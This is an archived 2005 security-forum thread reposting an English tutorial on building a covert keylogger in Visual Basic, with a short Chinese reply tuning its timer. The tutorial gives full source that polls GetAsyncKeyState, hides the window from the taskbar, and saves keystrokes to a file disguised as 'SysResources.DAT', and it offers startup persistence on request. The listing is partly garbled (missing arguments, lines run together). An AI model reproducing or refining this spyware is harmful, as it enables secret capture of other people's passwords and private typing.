邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-4-26 15:33

[转载]Creating a KeyLogger in VB

  文章作者:Silent Shadow

Ok...I am assuming that you have a basic understanding as to how visual basic works and how to make programs, debug, and compile. If not, email me and I might be able to help.

First, if you don't have it, get it. ApiGuide. Download it at [url]http://www.mentalis.org/agnet/apiguide.shtml[/url]

Ok. Open VB and start a new application. Add to the form a button, a timer, and a module(I know the module isn't actually part of the form). Thats all. Change there caption of the button to Start Logging
(if you want to make it start on startup...pm me or email me)
Now using api guide or just copying from here, declare a new function. the GetASyncKeyState function

Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"(ByVal vKey As Long) As Integer

^---put this in the declarations section of the module.

That is all one line of code. Make sure its like that. and not split in 2.

Now you have a new function to use through your program.
ok...
now we must make it be "invisible". Now im sorry but in Windows XP, i do not know how to remove it from the "processes" section of the Task Manager. But Other than that...its invisible.

OK. In the button code..., in the click event of course...
type the following

app.taskvisible = falseform1.visible = falseform1.hidetimer1.enabled = true'and also in the properties section of the form...change the shownintaskbar to false

Now when we click the button...it goes invisible.

Now we are going to need some variables....
Back in the declarations section declare the following...

Dim strLetter as String, strTotal as String

Now in the timer code put this. Ill explain afterward.
also set the interval to 1 and enabled to false

Private Sub Timer1_Timer()For I = 28 To 128If GetAsyncKeyState <> 0 ThenstrLetter = Chr(I)&#39;Now here you can add certain things&#39;so that instead of displaying&#39;retarded characters, it tells you&#39;what the user pressed. What I mean&#39;is if they press Enter/Return, it will&#39;Show some weird box. You dont want that&#39;so u make a select case about I for each&#39;button u want to customize. PM me or Email&#39;me for help on this part.strTotal = strTotal & strLetterEnd IfNext Iopen "C:\Windows\SysResources.DAT" for output as #1Print #1, strTotalclose #1End Sub&#39;End Code

Now all you have to do is when you want to check the keys pressed, open up C:\Windows\SysResource.DAT in notepad, and there it is. This program will not run on start up. If you want to know how to do that, PM me, but preferably email me. I would much rather have you add me to Msn Messenger. My email for messenger is... [email]Black_viper_13@hotmail.com[/email]
My email for emailing is..... [email]Anarchist_ninja_thief@hotmail.com[/email].

Hope this helps!
Here is the entire coding for the lamers...

&#39;BEGINNINGDim strLetter As String, strTotal As String, old as stringPrivate Sub Command1_Click()Timer1.Enabled = TrueEnd SubPrivate Sub Form_Load()Command1.Caption = "Start Loggin"Timer1.Enabled = FalseTimer1.Interval = 1End SubPrivate Sub Timer1_Timer()For I = 28 To 128 &#39;ASCII codeIf GetAsyncKeyState <> 0 ThenstrLetter = Chr(I)End IfIf strletter <> Old ThenOld = strletterstrTotal = strTotal & oldEnd IfNext IOpen "C:\windows\SysResources.dat" For Output As #1Print #1, strTotalClose #1End Sub&#39;ENDING

i think thats it besides the Module of course.

softbug 2005-5-3 12:09

  还是中文的好,引用小珂的键盘表做演示。timer1最好设置为100,太大,要丢失键盘记录。

页: [1]
© 1999-2008 EvilOctal Security Team